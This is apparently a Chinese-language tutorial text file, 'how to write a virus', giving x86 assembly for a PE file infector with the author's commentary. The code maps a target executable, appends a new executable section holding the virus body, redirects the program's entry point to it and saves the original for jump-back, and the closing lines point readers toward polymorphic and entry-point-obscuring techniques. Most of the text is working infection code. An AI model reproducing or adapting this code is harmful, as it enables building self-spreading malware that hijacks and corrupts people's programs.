📄 how to write a virus.txt
字号:
push 0
push 0
push FILE_MAP_READ or FILE_MAP_WRITE
push DWORD ptr [ebx+hMap]
call DWORD ptr [ebx+MapViewOfFile1]
or eax,eax
jz @error1
mov DWORD ptr [ebx+pMap],eax
根据对齐后新的文件大小对文件重新映射全部文件视图。这时,文件在磁盘上的大小也相应增加了。
mov esi,eax
add esi,DWORD ptr [esi+3ch]
下面两行代码能够确保感染程序在xp下运行时不会弹出个不能加载某某DLL的错误对话框!!在我不知道的时候,我曾经编写了一个低水平的病毒,这个病毒能感染很多文件。我当时认为病毒感染就是这样了,但是有一天,我发现被病毒感染后的记事本程序无法使用,总是提示“非法win32程序”我将病毒重新写了一次,把代码改了一些,但是仍然没有效果。我非常失望,上网看文章玩。无意中看到老罗的一篇文章,其中有个地方他专门写注释感激一位在技术帮助了他的人,指出某某处应该清0。看来他也曾经遇到过这个问题,我将他的代码添加到我的程序中,奇迹发现了,能正常感染了。我后来查了许多资料也没找到这个结构是做什么的,只知道它是IMAGE_DATA_DIRECTORY的第11个成员。
push 0
pop [esi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)]
mov ecx,DWORD ptr [esi+74h]
shl ecx,3
xor edx,edx
lea edi,[ecx+esi+78h]
movzx eax,WORD ptr [esi+6h]
imul eax,eax,28h
add edi,eax ;定位到最后一个节结尾
;开始填充新增的节结构体
这段代码很简单就是定位到节表后头即最后一个节的结尾处。你也许可以使用SizeOfHeader加上NumberOfSection*节大小28h但是我仍然比较我现在使用的方法。原因是肯定兼容性好的多,我的这个方法是取得IMAGE_DATA_DIRECTORY的个数乘上其大小在加上其他头剩余的大小。再加上 节表的个数*节的大小28h。有很多病毒都是用的这种方法。为什么?我觉得Windows将来也许会扩充IMAGE_DATA_DIRECTORY成员的个数吧。所以动态的取得它比较好点。好了,现在edi已经指向节表末尾了,如今是新添加节的地盘了:(马上给它填我们的节表内容。
mov DWORD ptr [edi],'1ns'
mov DWORD ptr [edi+8],Virus_End-Virus_Start
这里填入节的名字sn1(这个域有8个字节哟),并且给Virtual Size(有的地方称作Physical Size)我的病毒的大小值,这个值不需要对齐。说到对齐,大家要清楚一个概念就是内存中的数据节对齐,文件中的数据文件对齐。
mov ecx,DWORD ptr [esi+38h]
mov eax,DWORD ptr [edi-28h+0ch]
add eax,DWORD ptr [edi-28h+8h]
mov ecx,DWORD ptr [esi+38h]
invoke Align1
mov DWORD ptr [edi+0ch],eax
取得节对齐后,给节的Virtual Address成员即在内存中装入本节时的内存地址赋值。方法是取得上一个节的起始地址加上上一节的未对齐的大小即Virtual Size还要经过节对齐,就可以了。
mov ecx,DWORD ptr [esi+3ch]
mov eax,Virus_End-Virus_Start
invoke Align1
mov DWORD ptr [edi+10h],eax
现在我们该给节的SizeOfRawData给值了。这个域是指节在文件中的大小,必须要经过文件对齐,那好,我们取得病毒大小,文件对齐后就行了
mov eax,DWORD ptr [edi-28h+10h]
add eax,DWORD ptr [edi-28h+14h]
mov DWORD ptr [edi+14h],eax
还有个节在文件中偏移的值叫PointerToRawData,这个值的计算方法是上一个节的SizeOfRawData加上上一个节的PointerToRawData。为什么呢?自己动脑壳吧。不动脑壳学会了也没用。
mov DWORD ptr [edi+24h],0E00000E0h
这个域是最好理解的了,成员名字叫Characteristics中文意思是属性。有可读,可读可写,可执行,可共享等等,比较重要的几个属性就是我列出的几个,其中可共享是比较难理解的,讲讲,可共享属性可以让该节的数据或代码拒绝写时拷贝(Copy On Write),什么是写时拷贝呢,比如记事本有10个实例在运行,Windows就给同样的程序分配10个同样大小的进程空间,微软可没那么傻,他为了能节省内存使用了一种技术叫写入时拷贝。10个记事本同时运行就将10个记事本的进程空间映射到1个相同的物理内存上去,当有一个记事本想往里面写入时,数据一变全变,就会影响了其他9个记事本,但是有了写入时拷贝技术的干涉,就给那个写入数据的记事本另外分配块内存,将新分配的物理内存影射到记事本写入的那块进程空间地址上去,并且将原来的数据拷贝到这块新的内存中去,这样它再写入时就是写的新内存了,高兴写啥都不会影响其他的进程。如果还没懂的去看看“windows核心编程”内存管理那部分。再回到我们的感染问题上来,如果你的节有共享属性,就意味着它拒绝写入时拷贝技术,就是那个写数据的记事本,将会影响到其他9个记事本了,如果这是个变量的话,就是10个记事本都可以影响到的全局或称共享变量了。
mov eax,DWORD ptr [edi+0ch]
add eax,Start-Virus_Start
上面两行代码是将病毒的代码入口点计算出来后头有用,计算方法简单,是我病毒开始执行地方的标号Start减去病毒开始的地方标号Virus_Start,你可能会有点不理解,这是因为病毒开始的地方不是我病毒开始执行代码的地方,我病毒开始执行代码的地方前面有一大段的数据,这些数据也是包含在代码段里的。就是说我的病毒只有一个节.text。(代码节叫。Text)-
push DWORD ptr [esi+28h]
pop DWORD ptr [ebx+oldip]
保存目标文件原来的代码入口点,这是个偏移而已,如果真的要跳回原来的代码入口点还不能只执行AddressOfEntryPointer(原来代码入口点的指针),还要加个ImageBase成员再跳,否则就等于使你的病毒自杀。为啥?因为AddressOfEntryPointer 是个偏移,数字较小,一跳就很有可能会跳到2GB以上的系统进程空间去了,你看微软饶的了你不。除非你使用SHE。
push eax
pop DWORD ptr [esi+28h]
现在将上一步的上一步计算出来的病毒的代码入口点地址加上了本节的偏移地址Virtual Address成员的值,填进去。为啥要连加两个偏移呢?因为你脑壳不会拐弯:(
;计算新的sizeofimage
mov eax,Virus_End-Virus_Start
add eax,DWORD ptr [esi+50h]
mov ecx,DWORD ptr [esi+38h]
invoke Align1
mov DWORD ptr [esi+50h],eax
这个SizeOfImage成员搞不好很要命的哟!Windows2000下这个值稍微有点没对齐好就拜拜。很多人曾经在这个地方吃过亏,FT。这个值的意思是整个可执行体映射后在内存中的大小。将你新增的大小加上原来SIzeOfImage经过节对齐就好了。如果你哪天感染了的文件无法运行,先看看这有问题没有。
inc WORD ptr [esi+6h]
刚刚增加了一个节,现在将NumberOfSection的值加一
push DWORD ptr [esi+34h]
pop DWORD ptr [ebx+oldbase]
取得程序文件运行时的内存基地址。我们的病毒使用了重定位,用不到它,但是我们要跳回原来程序文件的代码入口点继续执行,就要用它,前面已经说的很清楚了。
mov eax,DWORD ptr [edi+10h];取得文件偏移
add eax,DWORD ptr [edi+14h];加上文件大小,呵呵,文件偏移加大小,又是最后一个节,聪明的你可能已经想到了,这分明就是文件结尾么,这个东东留到后头用。
and DWORD ptr [ebx+IsInject],0;这个值不管,这是我插入其他进程用到的一个标志变量。
push eax
mov DWORD ptr [esi+4ch],'1.ns'
mov ecx,Virus_End-Virus_Start
mov edi,DWORD ptr [edi+14h]
add edi,DWORD ptr [ebx+pMap]
lea esi,[ebx+Virus_Start]
rep movsb
上面的代码主要功能是按照我们新增加的节的PointerToRawData指向的位置把病毒代码写进去。
push DWORD ptr [ebx+pMap ]
call DWORD ptr [ebx+UnmapViewOfFile1]
push DWORD ptr [ebx+hMap ]
call DWORD ptr [ebx+CloseHandle1]
关闭内存映射文件,不懂的去复习Win32Api去吧。
pop eax
push FILE_BEGIN
push 0
push eax
push DWORD ptr [ebx+hFile ]
call DWORD ptr [ebx+SetFilePointer1]
将文件指针从到文件开头移动到新的文件结尾处。
push DWORD ptr [ebx+hFile ]
call DWORD ptr [ebx+SetEndOfFile1]
设置文件指针指向的位置为结束位置,(实际上是在调整文件大小)为什么要这么做呢?因为开始的时候我将文件映射时将文件大小改成 原文件大小+未对齐的病毒体大小。然而这个大小不正确,应该是 原文件大小+病毒体对齐后的大小,所以我又调用了一次函数重新将文件末尾改成了 我新加节的 PointerToRawData+SizeOfRawData处,相当于大小等于 原文件大小+SizeOfRawData SizeOfRawData成员就是病毒体对齐后的大小了,当然你可以在一开始就按照 原文件大小+病毒体对齐后的大小进行映射,这样更好,少调用几个函数。我打算在我下一个病毒的版本进行大大的改造,这样的垃圾代码不会再出现了。
@error1:
push DWORD ptr [ebx+hFile]
call DWORD ptr [ebx+CloseHandle1]
关闭文件,这时文件就顺利改变了。
push DWORD ptr [ebx+pMap]
call DWORD ptr [ebx+UnmapViewOfFile1]
push DWORD ptr [ebx+hMap]
call DWORD ptr [ebx+CloseHandle1]
ret
最后说点点,这篇文章很垃圾,更象我的学习笔记,哈哈。写这个我承认也加深了我的记忆,但是我希望大家能通过我的这篇垃圾文章,在学习病毒技术的曲折路程中少犯错误,因为我已经当了替死鬼了,你们没有必要再死一次了。新手在写病毒这样的程序犯错误是很可怕的,也许是致命的,因为几乎找不到人讲,而且这里面的错误往往都不是程序的语法错误那么简单,需要你对全盘的分析,系统的全面了解,才能快速的定位错误。我犯了许多次错误,有很多错误是在通宵过程中犯的“低级”错误。我浪费了很多调试时间,FT。另外文章没有讲那么多高明的技术,因为我也在探索中。大家学会了这篇文章中的内容,可以看看 入口点模糊技术,多态感染引擎技术,虚拟机技术。简单实用的有 怎样感染文件而不改变文件大小的技术,PEB和TEB结构体,代码插入技术。越往后学,对你的汇编功底要求越高,大家在提高技术的同时也应该学点汇编方面的知识,比如 保护模式下编程,一些指令集 如MMX。上面介绍的知识,我只了解一点点,我也是肉鸡一个。往后还有很多书需要看,88。
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -